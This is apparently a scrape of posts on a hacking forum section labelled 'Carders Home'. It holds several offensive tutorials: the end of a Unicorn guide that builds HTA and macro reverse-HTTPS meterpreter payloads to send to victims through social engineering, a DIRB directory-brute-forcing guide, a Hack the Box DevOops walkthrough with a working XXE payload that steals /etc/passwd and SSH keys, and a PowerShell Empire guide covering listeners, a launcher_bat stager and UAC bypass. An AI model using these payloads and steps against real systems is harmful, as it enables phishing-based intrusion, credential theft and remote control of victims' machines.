![[Image: 8.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-0_O5DcweYIM/W8YonaWUy2I/AAAAAAAAawU/6c6Hz13lGYEHFVgY4LR6q2O5fkcSrdC8ACEwYBhgL/s1600/8.png?w=687&ssl=1)
Now convert your IP in bit.ly URL form and send to the victim and then wait for the user to click on the “launcher.hta” file which could be done using social engineering easily.
![[Image: 9.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-J8R1WfT-NpA/W8Yon3VMeAI/AAAAAAAAawY/A-yqHtXFzGgNhUlWBUlCYW9MQpdhd3PqACEwYBhgL/s1600/9.png?w=687&ssl=1)
So, we set up a Metasploit listener next using the RC file and wait for the user to click on the hta payload.
msfconsole -r unicorn.rc
1
msfconsole -r unicorn.rc
![[Image: 10.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-XFHyvvHXqU8/W8YojdJ3hMI/AAAAAAAAawQ/1Wi7WArPuOEXNhI3NAgLH31fqFguK9wmgCEwYBhgL/s1600/10.png?w=687&ssl=1)
As soon as he ran the file, we received a meterpreter session. We checked the system info using the sysinfo command.
![[Image: 11.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-iUuCscFGLAc/W8YojXo_jUI/AAAAAAAAawU/zJBOCdBPl2QkdBjrtNL5R8N0ms1Dpq-6gCEwYBhgL/s1600/11.png?w=687&ssl=1)
Macro Attack Instructions
Now for the third and final payload for this tutorial, we set hands on our beloved macros.
python unicorn.py windows/meterpreter/reverse_https 192.168.1.109 443 macro
1
python unicorn.py windows/meterpreter/reverse_https 192.168.1.109 443 macro
![[Image: 12.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-xCQHs0LNZl4/W8Yoj1MN32I/AAAAAAAAawU/MwyNdJ2jkP04qxU5YTs20gf1jPqcxYRdACEwYBhgL/s1600/12.png?w=687&ssl=1)
This again creates a text file and a “.rc” file with the same name and on the same destination.
![[Image: 13.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-6dhHd7NWxtg/W8YokaJkM2I/AAAAAAAAawQ/SRQoM1JYisYlcmdXlaEGhVhjOUCZo0HJwCEwYBhgL/s1600/13.png?w=687&ssl=1)
To enable developer mode there are various methods depending upon your version of MS office.
As for a generic approach, let’s say you enabled it like:
File->properties->ribbons->developer mode
![[Image: 15.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-D3iW4Y-y3To/W8YokfVIFPI/AAAAAAAAawE/dz0yvIj4_fQxCTCuHWiNnYfM8jyQHGu0ACEwYBhgL/s1600/15.png?w=687&ssl=1)
You will see an extra tab labeled developer once it gets enabled.
As for the attack, go to developer->macros and create a new macro named “Auto_Open”
![[Image: 16.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-6kAqRMAjKBM/W8YokqMtRdI/AAAAAAAAawQ/Wd2sKDYWKcIAuc0wtxPhzPEvt9_Yakv_QCEwYBhgL/s1600/16.png?w=687&ssl=1)
Simply paste the contents from “powershell_attack.txt” to this xlsx module and save it.
![[Image: 17.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-8iawGWNh8Ks/W8YolGj4rwI/AAAAAAAAawM/Emem6-YUB0M-Z428NqVGzH-3G8TW0hq1wCEwYBhgL/s1600/17.png?w=687&ssl=1)
As soon as you click run (little green icon on the top), it will give you an error! Don’t worry! You want that error. It is supposed to happen.
![[Image: 18.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-xf0PwRDxaJQ/W8YolTBuQAI/AAAAAAAAawE/9FAaVxR5mRQRoNh5MzQtOUgVSdMua6IxQCEwYBhgL/s1600/18.png?w=687&ssl=1)
Soon after the error on the user screen, we would have obtained a session successfully in meterpreter!
Use sysinfo double check our successful exploitation using unicorn!
![[Image: 19.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-5iso3OgiLF8/W8Yolk3nOkI/AAAAAAAAawM/CHknK4o-LzEBSTURICU10-9XR-00Qu5ewCEwYBhgL/s1600/19.png?w=687&ssl=1)
In this article, we are focusing on the transient directory using Kali Linux tool DIRB and trying to find hidden files and directories within a web server.
A path traversal attack is also known as “directory traversal” aims to access files and directories that are stored outside the web root folder. By manipulating variables with reference files with “dot-dot-slash (…/)” sequences and its variations or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system including application source code, configuration, and critical system files.
Source: [To see content please register here]
Requirements
Target- BWAPP Labs, DVWA Labs,
Attacker – Kali Linux
Table of Content- Introduction to DIRB
- Utilizing Multiple Wordlist for Directory Traversing
- Default working of Dirb
- Enumerating Directory with Specific Extension List
- Save Output to Disk
- Ignore Unnecessary Status-Code
- Default Working Vs Not stop on WARNING messages Working
- Speed delay
- Not recursively (-r)
- Show NOT Existence Pages
- Extension List (-X parameter) Vs Extension Header (-H parameter)
- Not forcing an ending ‘/’ on URLs (-t)
- HTTP Authentication (-u username: password)
What is DIRB?
DIRB is a Web Content Scanner. It looks for existing (and/or hidden) Web Objects. It basically works by launching a dictionary-based attack against a web server and analyzing the response.
It comes with a set of preconfigured attack wordlists for easy usage but you can use your custom wordlists. Also, DIRB sometimes can be used as a classic CGI scanner, but remember is a content scanner, not a vulnerability scanner.
The main purpose is to help in professional web application auditing. Especially in security-related testing. It covers some holes not covered by classic web vulnerability scanners. DIRB looks for specific web objects that other generic CGI scanners can’t look for. It doesn’t search vulnerabilities nor does it look for web contents that can be vulnerable.
Source: [To see content please register here]
Tool DIRB is built-in Kali Linux. Open the terminal and type the following command to get an overview of the tools included in the package:
dirb
-a <agent_string> : Specify your custom USER_AGENT.
-c <cookie_string> : Set a cookie for the HTTP request.
-f : Fine tunning of NOT_FOUND (404) detection.
-H <header_string> : Add a custom header to the HTTP request.
-i : Use case-insensitive search.
-l : Print “Location” header when found.
-N <nf_code>: Ignore responses with this HTTP code.
-o <output_file> : Save output to disk.
-p <proxy[:port]> : Use this proxy. (Default port is 1080)
-P <proxy_username:proxy_password> : Proxy Authentication.
-r : Don’t search recursively.
-R : Interactive recursion. (Asks for each directory)
-S : Silent Mode. Don’t show tested words. (For dumb terminals)
-t : Don’t force an ending ‘/’ on URLs.
-u <username:password> : HTTP Authentication.
-v : Show also NOT_FOUND pages.
-w : Don’t stop on WARNING messages.
-X <extensions> / -x <exts_file> : Append each word with this extensions.
-z : Add a milliseconds delay to not cause excessive Flood.
![[Image: 1.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-otVHOCQr1NM/W8Qnzhx-doI/AAAAAAAAato/E8DwTQaGj54GtHf5gmnkSUmSYFvrc6SLQCLcBGAs/s1600/1.png?w=687&ssl=1)
Utilizing Multiple Wordlist for Directory Traversing
The above attack works by using the default wordlist_files common.txt, but we can change this word list and could select another wordlist for directory traversal. You must follow the following path to view all available wordlists.
cd /usr/share/wordlists/dirb
ls –la
cd /usr/share/wordlists/vulns
ls -la
1
2
3
4
cd /usr/share/wordlists/dirb
ls –la
cd /usr/share/wordlists/vulns
ls -la
You can see from the image below that there are so many text files as wordlist; we can use them as required.
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-ZwG3l84otbA/W8Qn1Pvb5RI/AAAAAAAAauw/h-SioFZ9Bbs4rTGX26AZUxsYueT--N_ZQCEwYBhgL/s1600/2.png?w=687&ssl=1)
Default working of Dirb
In this attack the common.txt is set as a default word list for directory traversal, the protester can use the following command. Open the terminal and type the following command to start the Brussels Directory attack.
dirb [To see content please register here]
1
dirb [To see content please register here]
Using the common.txt file, the DIRB returns the enumerated directories found within the target URL as shown in the below image.
![[Image: 3.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-vVadYyuKJ4g/W8Qn1pUCcaI/AAAAAAAAauw/OtMZhtin4awPcBL3_EEKEfnamVFlpt3JgCEwYBhgL/s1600/3.png?w=687&ssl=1)
Enumerating Directory with Specific Extension List
There are a lot of situations where we need to extract the directories of a specific extension over the target server, and then we can use the -X parameter of the dirb scan. This parameter accepts the file extension name and then searches the given extension files over the target server or machine.
dirb [To see content please register here] -X .php
1
dirb [To see content please register here] -X .php
The above command will extract all directory path related to php extension as shown the following image.
![[Image: 4.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-59gUY37Ua2k/W8Qn1vMUHNI/AAAAAAAAauo/xUKYSNWCmEEAaW7_2kmobdd6ztY3ZIZCACEwYBhgL/s1600/4.png?w=687&ssl=1)
Save Output to Disk
For the purpose of the record maintenance, better readability, and future references, we save the output of the dirb scan onto a file. To this, we will use the parameter -o of the dirb scan we can save the output of the dirb scan in a text file.
dirb [To see content please register here] -o output.txt
1
dirb [To see content please register here] -o output.txt
The above command will generate an output.txt file at the desktop of the enumerated directories.
![[Image: 5.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-NxtD9HF3-gc/W8Qn1kfAKcI/AAAAAAAAau0/fZfPnaxO_dEtYgjOQ-60se6rhl1rQzH3wCEwYBhgL/s1600/5.png?w=687&ssl=1)
Now that we have successfully executed the command, now let’s traverse to the location to ensure whether the output has been saved on the file on not. In this case, our location for output is /root/output.txt.
![[Image: 6.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-Hvpp-vQHe08/W8Qn2ZFJ4OI/AAAAAAAAauk/HfVgW-6YP-U-7_JavdvDzksVbyO0IM5YwCEwYBhgL/s1600/6.png?w=687&ssl=1)
Ignore Unnecessary Status-Code
The Status-Code element is a 3-digit integer where the first digit of the Status-Code defines the class of response and the last two digits do not have any categorization role. In this attack, we are using –N parameter on code 302 as shown below.
dirb [To see content please register here] -N 302
1
dirb [To see content please register here] -N 302
As you can grasp from the given screenshot that the dirb scan is ignoring the NOT FOUND code that is., 302.
![[Image: 7.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-lhcdYRilMRM/W8Qn2kYxDXI/AAAAAAAAauw/X7a-hYNjDB0UkiwsMOfvChPd9-6vp4zUACEwYBhgL/s1600/7.png?w=687&ssl=1)
Default Working Vs Nonstop on WARNING messages Working
During the normal dirb scan as shown below, some of the pages generate warnings; the dirb scan skips those directories where it encounters any warnings.
dirb [To see content please register here]
1
dirb [To see content please register here]
![[Image: 8.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-HSIPR_dreRA/W8Qn2oNhsdI/AAAAAAAAaus/8dQmKSdI__EGVnYhqjxWhPGqAtzSrMQiACEwYBhgL/s1600/8.png?w=687&ssl=1)
While doing a scan that is to be done very deeply and verbosely, we want that the dirb scan to not avoid these warnings and do an in-depth scan, hence we use the -w parameter of the dirb scan.
dirb [To see content please register here] -w
1
dirb [To see content please register here] -w
As you can observe the highlighted directory /dev/shell is enumerated even after warning message which is missing in the default scan.
![[Image: 9.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-khLmae2FKwM/W8Qn27nghxI/AAAAAAAAau0/z6undOhIBBEm0oGP3CLd0J6hc4S95V_0QCEwYBhgL/s1600/9.png?w=687&ssl=1)
Speed delay
While working in different scenarios, there is some environment we come across that cannot handle the flood created by the dirb scan, so in those environments, it is important that we delay the scan for some time. This can be done easily with the -z parameter of the dirb scan. In this parameter, the time is provided on the scale of milliseconds. Like as shown in our given example, we have given 100 seconds delay to dirb.
dirb [To see content please register here] -z 100
1
dirb [To see content please register here] -z 100
![[Image: 10.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-x03dY-8E-UQ/W8Qnzr37BJI/AAAAAAAAaug/IYGfMoKKHNIBMFd-n9noHiYKih1CmtYOwCEwYBhgL/s1600/10.png?w=687&ssl=1)
Not recursively (-r)
The dirb scan, by default, scans the directories recursively. It means it scans a directory and then traverses inside that directory to scan for more subdirectories. But in some scenarios, where time is insufficient, we set the dirb to not scan recursively. This can be achieved using the -r parameter.
dirb [To see content please register here] -r
1
dirb [To see content please register here] -r
![[Image: 11.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-tkvOjEKzNxs/W8QnzomEFZI/AAAAAAAAauw/GP3rs201BdIzRKuw_ofOij9uS94DxzYJACEwYBhgL/s1600/11.png?w=687&ssl=1)
Show NOT Existence Pages
A 404 error is an HTTP status code that means that the page you were trying to reach on a website couldn’t be found on their server. 404 Not Found error messages are frequently customized by individual websites. In some scenarios we need to find the 404 pages too, which dirb skips by default. To find those pages we will use -v parameter.
dirb [To see content please register here] -v
1
dirb [To see content please register here] -v
From given below the image you can observe it has also extracted all those directories are relevant to 404 errors.
![[Image: 12.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-S0b9SIVXs-Q/W8Qn0UBmc5I/AAAAAAAAauo/oJmWnk4ZTcgbtsgYAqJhYu_jQEKfZpxbQCEwYBhgL/s1600/12.png?w=687&ssl=1)
Extension List (-X parameter) Vs Extension Header (-H parameter)
By using the –X parameter along with target URL with a specific extension, for example, .php, it enumerates all file or directory with .php extension, but by using –H parameter with specific extension, for example .php along with target URL it will enumerate all files or directories named with php as shown in the given below image.
dirb [To see content please register here] -H .php
1
dirb [To see content please register here] -H .php
![[Image: 13.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-htl-aCR6riY/W8Qn0u2CuaI/AAAAAAAAauo/tmBYbKIXZcoklyp0X8sp0AaamCDW0tXUgCEwYBhgL/s1600/13.png?w=687&ssl=1)
Not forcing an ending ‘/’ on URLs (-t)
From the attacks used in the previous situations, in order to run the dirb tool, we will have to add a forward slash (/) at the end of the URL to be accepted in dirb. In order to check that we need to try one attack on URL ending without any forward slash.
dirb [To see content please register here]
1
dirb [To see content please register here]
You will observe that the scan doesn’t get executed successfully because of the lack of the forward slash, the importance of which we discussed earlier in this article.
Try this attack once again with the same command with some changes so in order to run that command we have to add –t in the previous command.
dirb [To see content please register here] -t
1
dirb [To see content please register here] -t
As now we can observe that the even in the absence of the forward slash, we still have successfully executed the dirb scan.
![[Image: 14.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-MIxw_3eKCcA/W8Qn000FlxI/AAAAAAAAauk/n1kl3zxmCrICTAisw_HVmlk2GaBz0LVIwCEwYBhgL/s1600/14.png?w=687&ssl=1)
HTTP AUTHORIZATION (-u username: password)
HTTP Authentication/Authentication mechanisms are all based on the use of 401-status code and WWW-Authenticate response header. The most widely used HTTP authentication mechanisms are Basic. The client sends the user name and password as unencrypted base64 encoded text.
So, in order to bypass this kind of authentication with the help of dirb we have used the command below:
dirb [To see content please register here] -u test:test
1
dirb [To see content please register here] -u test:test
As a result, it is shown Status –code 200 for the test: test and authorized credential on target URL.
![[Image: 15.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-yF_-z1SAkhU/W8Qn011vtlI/AAAAAAAAauw/IcgIuQY0NkYMJJ3sAzfzmBmYV7p4NqhtgCEwYBhgL/s1600/15.png?w=687&ssl=1)
Proxy URL
Using –p option enables proxy URL to be used for all requests, by default it works on port 1080. As you can observe, on exploring target network IP in the web browser it put up “Access forbidden error” which means this web page is running behind some proxy.
![[Image: 50.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-rZLWBPU-ZAs/W9r0G6U5BPI/AAAAAAAAa9w/hl5096jqQao5cqdfRNBJ5fLjStrhMARAgCLcBGAs/s1600/50.png?w=687&ssl=1)
To ensure this prediction, we run the dirb command twice, firstly on port 80 which is by default and further on port 3129 along with –p option which enables proxy parameter.
dirb [To see content please register here]
dirb [To see content please register here] –p 192.168.1.108:3129
1
2
dirb [To see content please register here]
dirb [To see content please register here] –p 192.168.1.108:3129
From the given below image, you can take reference for the output result obtained for above commands, here we haven’t obtained any directory or file on executing the first command where else in the second command executed successfully.
|
|
|
|
| [Guide] How to Hack the Box: DevOops Walkthrough |
|
Posted by: NINZA - 05-14-2020, 09:53 AM - Forum: Carders Home
- No Replies
|
 |
Today we are going to solve another CTF challenge “DevOops”. DevOops is a retired vulnerable lab presented by Hack the Box for helping pentester’s to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.
Level: Medium
Task: To find user.txt and root.txt file
Note: Since these labs are online available therefore they have a static IP. The IP of DevOops is 10.10.10.91
Table of Content
Scanning - Open ports and Running services (Nmap)
Enumeration - Web Directory spidering
- Upload XML file
Exploit XXE - Intercept Browser request (Burp Suite)
- Access /etc/passwd file
- Steal SSH RSA key
Access Victim’s shell (SSH login)
Privilege Escalation
Walkthrough
Scanning
Let’s start off with our basic nmap command to find out the open ports and services.
nmap -p- -A 10.10.10.91 --open
1
nmap -p- -A 10.10.10.91 --open
![[Image: 1.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-_EbHbPEMpDY/W8NQmtTZcOI/AAAAAAAAasQ/hlNI2Ydq_5cvJllEZvWJqh-Wag-5iaqOwCEwYBhgL/s1600/1.png?w=687&ssl=1)
From Nmap scanning, we have enumerated port 22 and 5000 are only open ports on the target’s network, therefore firstly, let’s navigate to port 5000 through a web browser. By exploring the given URL, it puts up following web page as shown in the below image.
[To see content please register here]
1
[To see content please register here]
![[Image: 2.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-a7ZQ6jV_-tE/W8NQoG24D1I/AAAAAAAAaso/_fTrCrYfQCsKlOS3lRlWJMnittC494acwCEwYBhgL/s1600/2.png?w=687&ssl=1)
Enumeration
Since we didn’t get any remarkable clue from the home page, therefore, we have opted Dirb tool for directory enumeration thus execute the following command.
dirb [To see content please register here]
1
dirb [To see content please register here]
Hmm!! Here I received HTTP response 200 for /feed and /upload directories.
![[Image: 3.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-k6HPOEvAbnE/W8NQoV-IDqI/AAAAAAAAass/kzsOcN9f5TQgvke9Wiwn4bAtldXCwC_0gCEwYBhgL/s1600/3.png?w=687&ssl=1)
So we explore [To see content please register here] /upload in the URL and further welcomed by following web Page given below. The following web page lets you upload an XML file, including XML elements Author, Subject and content. For that reason, we have created an XML file with the help of the following code and saved as 1.xml.
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<feed>
<Author>raj</Author>
<Subject>chandel</Subject>
<Content>&xxe;</Content>
</feed>
1
2
3
4
5
6
7
8
9
10
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<feed>
<Author>raj</Author>
<Subject>chandel</Subject>
<Content>&xxe;</Content>
</feed>
Then browse the XML file, which you have created and intercept the browser request with the help of burp suite while uploading.
![[Image: 4.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-WYz0USVJ9EQ/W8NQodnsruI/AAAAAAAAasw/PD45FE4jyMMCCt2kNY156wvKhnzIcdtZQCEwYBhgL/s1600/4.png?w=687&ssl=1)
EXPLOIT XXE (XML External Entity)
Now send the intercepted data to the repeater.
Inside XML file, we have injected malicious code to make the call for /etc/passwd file, thus, we need to analyze its result in the repeater.
![[Image: 5.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-R5YVd1SWBqM/W8NQo1FMcyI/AAAAAAAAas0/FqHAKTyXlakA5JaD-5MnDIdpqyzh16cGwCEwYBhgL/s1600/5.png?w=687&ssl=1)
And as you can observe from the given below image, the XML code is working wonderfully and throwing the content of /etc/passwd file to us.
![[Image: 6.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-5T6WZQMiNFA/W8NQpVMrV_I/AAAAAAAAas8/n0-Kv5m1ZokJgBq9bcQr8zBTH2gVVBjhwCEwYBhgL/s1600/6.png?w=687&ssl=1)
Similar, we extract the SSH RSA key by modifying XXE entry as shown in the below image. Now copy the whole key and save in a text file.
![[Image: 7.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-3x1zdy1vgDM/W8NQpJRBZTI/AAAAAAAAas4/q0IryfUHPfwBFgDUgtuVmNGftKFGgejIgCEwYBhgL/s1600/7.png?w=687&ssl=1)
Access Victim’s Shell
Since we have copied RSA Private KEY in a text file named as “key”, then set permission 600 and try to login with the help of the following command.
chmod 600 key
ssh -i key [email protected]
1
2
chmod 600 key
ssh -i key [email protected]
Boom!! We have spawned a shell of target machines, let’s go for the user.txt file.
cd /home
ls
cd roosa
ls
cat user.txt
1
2
3
4
5
cd /home
ls
cd roosa
ls
cat user.txt
![[Image: 9.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-6KIBvMjjmPY/W8NQpX-Rv-I/AAAAAAAAatA/eaXqfr3PoNgQy_3Kya3Yptrxved6QrpWwCEwYBhgL/s1600/9.png?w=687&ssl=1)
Privilege Escalation
Great!!! We have completed the first task but for obtaining root.txt file we need to escalate the root privilege and to do so we traversed so many directories and files to get next clue.
cd work
ls
cd blogfeed/
ls
cat run-gunicorn.sh
cd resources
ls
1
2
3
4
5
6
7
cd work
ls
cd blogfeed/
ls
cat run-gunicorn.sh
cd resources
ls
![[Image: 10.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-xb6hULfCa1w/W8NQm7nu6NI/AAAAAAAAasU/WMZd4FPnaBUeECaJyddUuAfxxO8h6CcBACEwYBhgL/s1600/10.png?w=687&ssl=1)
so we found .git directory here lets check git with the following command.
git log
1
git log
And we obtain so many strings as shown in the following image which may perhaps SSH key for root login.
![[Image: 12.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-1sR7PgKM5zk/W8NQnHBa7FI/AAAAAAAAasY/svfDJEmurr480GD9LX5OvRQfnyKf8WvJgCEwYBhgL/s1600/12.png?w=687&ssl=1)
So we try some key along git show command to demonstrate the output result. And obtain RSA Private Key which was not working properly.
![[Image: 13.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-cqmvBD1o5bY/W8NQnVJ8trI/AAAAAAAAasc/2n0V0KHh5q47slJw7Z_sON_bIqbSqncpgCEwYBhgL/s1600/13.png?w=687&ssl=1)
And finally, we got the original RSA Key which is highlighted in Red text, now copy the red color text a file and remove ‘–’ used in each line instead add “—–END RSA PRIVATE KEY—–”
![[Image: 14.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-hODff1MuoAs/W8NQn1TKgLI/AAAAAAAAask/YlHcDSIBpRcZPcRMYiIkb5jpaN5sdcQjwCEwYBhgL/s1600/14.png?w=687&ssl=1)
Since we have copied RSA Private KEY in a text file named as “rootkey” then set permission 600 and try to login with the help of the following command.
chmod 600 key
ssh -i rootkey [email protected]
ls
cat root.txt
1
2
3
4
chmod 600 key
ssh -i rootkey [email protected]
ls
cat root.txt
Congrats!! We have found root.txt and from the image below you can see we have obtained the value of root.txt.
![[Image: 15.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-In-acK-Hc20/W8NQn7td6-I/AAAAAAAAasg/8DW5SfFsaVEbaOp6UA3tKSHbFOhRK7FYgCEwYBhgL/s1600/15.png?w=687&ssl=1)
Our today’s article is the first post of our Empire series. In this, we will cover every basic you need to know about the PowerShell Empire Framework. And with the eventually, we study advance exploits of Empire.
Table of Content:- Introduction
- Installation
- Importance
- Terminology
- Demo
- Conclusion
Introduction
Empire is a post-exploitation framework. It’s a pure PowerShell agent, focused solely on python with cryptographically-secure communications with the add-on of a flexible architecture. Empire has the means to execute PowerShell agents without the requirement of PowerShell.exe. It can promptly employ post-exploitable modules, which covers a vast range from ranging from keyloggers to mimikatz, etc. This framework is a combination of the PowerShell Empire and Python Empire projects; which makes it user-friendly and convenient. PowerShell Empire came out in 2015 and Python Empire came out in 2016. It is similar to Metasploit and Meterpreter. But as it is command and control tool, it allows you to control a PC much more efficiently.
Importance
PowerShell provides abundant offensive advantages which further includes the whole access of .NET, applock whitelisting, and straight access to Win32. It also constructs malicious binaries in memory. It provides C2 functionality and allows you to implant the second stage after the first one. It can also be used for lateral movement. And it comes handy as it develops rapidly in comparison to other frameworks. Also, as it does not requires PowerShell.exe, it lets you bypass anti-viruses. Hence, it is best to use the PowerShell Empire.
Terminology
Before starting with the action you need to know these four things:- Listener: the listener is a process which listens for a connection from the machine we are attacking. This helps Empire send the loot back to the attacker’s computer.
- Stager: A stager is a snippet of code that allows our malicious code to be run via the agent on the compromised host.
- Agent: An agent is a program that maintains a connection between your computer and the compromised host.
- Module: These are what execute our malicious commands, which can harvest credentials and escalate our privileges as mentioned above.
Installation
You can download Empire from [To see content please register here] . Clone the command from the hyperlink provided for GitHub or simply use google.
Use the following command to download it:
git clone //github.com/EmpireProject/Empire.git
1
git clone //github.com/EmpireProject/Empire.git
![[Image: 1.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-kb0xPUsnfqo/XFLz_o6Mf7I/AAAAAAAAcf0/wdOcxDFNTlIElEv-QJI9J9LWnXARnb9rgCLcBGAs/s1600/1.png?w=687)
Once the downloaded is initiated and completed, follow steps given directly below in order to install it :
cd Empire/
ls
cd setup/
ls
./install.sh
1
2
3
4
5
cd Empire/
ls
cd setup/
ls
./install.sh
![[Image: 2.png?w=687]](https://i2.wp.com/4.bp.blogspot.com/-3kXsXeA4pC8/XFL0CS3XqiI/AAAAAAAAcgU/1pEeZTVaN4gO8KiPUw6NsR5KeLr1MCxkgCLcBGAs/s1600/2.png?w=687)
Wait for it to complete the installation. This might take a few seconds. It will prompt you for a password.
In my case, my password was toor.
Once the installation is done, move back a directory and run empire using ./empire.
Now use Help command as it opens up all the essential options required initially.
![[Image: 3.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-d8ni0QUi_m0/XFL0CclGrfI/AAAAAAAAcgc/s3WcR_3bBPobGFiJ--Dsf11dDpdf3focQCLcBGAs/s1600/3.png?w=687)
According to the workflow, firstly, we have to create a listener on our local machine. Type the following command:
listeners
1
listeners
After running the above command, it will say that “no listeners are currently active” but don’t worry, we are into the listener interface now. So in this listener interface, type :
uselistener <tab> <tab>
1
uselistener <tab> <tab>
![[Image: 4.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-_fTeY3Ywa-4/XFL0CYWLlsI/AAAAAAAAcgY/GgKrmDIlZUYxLqWbVZ4vDNvcnXHRl7vpgCLcBGAs/s1600/4.png?w=687)
The above command will list all the listeners that one can use, such as dbx, http, http_com, etc. The most popular and commonly used listener is http and we will use the same in our practice. For that type :
uselistener http
1
uselistener http
This command creates a listener on the local port 80. If port 80 is already busy by a service like Apache, please make sure you stop that service as this listener being http listener will only work on port 80. Now to see all the settings that you ought to provide in this listener type :
info
1
info
As you can see in the image that there are a variety of settings you can use to modify or customize your listener. Let’s try changing the name of our listener as it helps to remember all the listeners that are activated; if activated in bulk. So for this, type :
set Name test
1
set Name test
The above command will change the listeners’ name from http to test.
Usually, this listener automatically takes up the local host IP but, just in case, you can use the following command to set your IP :
set Host //192.168.1.107
execute
1
2
set Host //192.168.1.107
execute
Above command will execute the listener. Then go back and use PowerShell listener as shown in the image.
![[Image: 5.png?w=687]](https://i2.wp.com/4.bp.blogspot.com/-s4kEOLyRGRU/XFL0DIGP-cI/AAAAAAAAcgg/4GCAfOrW6YwzCrPTCm10ZDBOzG5ii5UCACLcBGAs/s1600/5.png?w=687)
Now type ‘back’ to go back from the listener interface so that we can execute our modules. Use the following command to see all the modules that the empire provides:
usestager <tabt> <tab>
1
usestager <tabt> <tab>
As you can see in the image below that there are a lot of modules for both windows and IOS along with some multi ones that can be used on any platforms. We will use launcher_bat to create malware and exploit our victims’ PC in our tutorial. And for that type:
usestager windows/launcher_bat
1
usestager windows/launcher_bat
Then again type ‘info’ in order to see all the settings required by the exploit. After examining you will see that we only need to provide listener. Therefore, type :
set Listener test
execute
1
2
set Listener test
execute
![[Image: 6.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-8GC5G1v_KNU/XFL0Df6RNzI/AAAAAAAAcgo/l6aeNEIhzDIj2BQ0D0zOropqkZaU2kdeACLcBGAs/s1600/6.png?w=687)
![[Image: 7.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-4Qz2ZCt3UYg/XFL0DUztQFI/AAAAAAAAcgk/k4Ia1WzLBHAQ0-fw0PhR1IVSlnIKz6nQgCLcBGAs/s1600/7.png?w=687)
The above two commands will execute our exploit after setting the listener test and create /tmp/launcher.bat. Use the python server to execute this file in victims’ PC. As the file will execute, you will have a session. To check your session type:
agents
1
agents
With the above command, you can see that you have a session activated. You can change the name of your session as the name given by default is pretty complicated and difficult to remember. To do so type:
rename ZAF3GT5W raajpc
1
rename ZAF3GT5W raajpc
Use the following to access the session:
interact raajpc
1
interact raajpc
Once you have gained access to the session, try and get admin session by using the following command:
bypassuac http
After executing the bypassuac command another session will open. Rename that session too by typing :
rename HE3K45LN adminraj
1
rename HE3K45LN adminraj
![[Image: 8.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-VrhR5HZlCfc/XHFl-fEMcWI/AAAAAAAAc9w/i5fFxcowU6kMMA9zM_nlccTkmifEnWObwCLcBGAs/s1600/8.png?w=687)
Let’s
interact with adminraj now.
interact adminraj
1
2
interact with adminraj now.
interact adminraj
<tab><tab>helps us view all the options in the shell. There are several options which is quite helpful to for post exploitation. Such as info, job, list and etc as shown in the image.
Info: for all the basic details like IP, nonce, jitter, integrity etc.
![[Image: 9.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-O0t-lLeLWGA/XFL0D1HiqJI/AAAAAAAAcgw/dFt5zhcL8nYj6NwZuLDQXSey8zdK_vLLgCLcBGAs/s1600/9.png?w=687)
Now if you use ‘help’ command, you will be able to see all the executable commands.
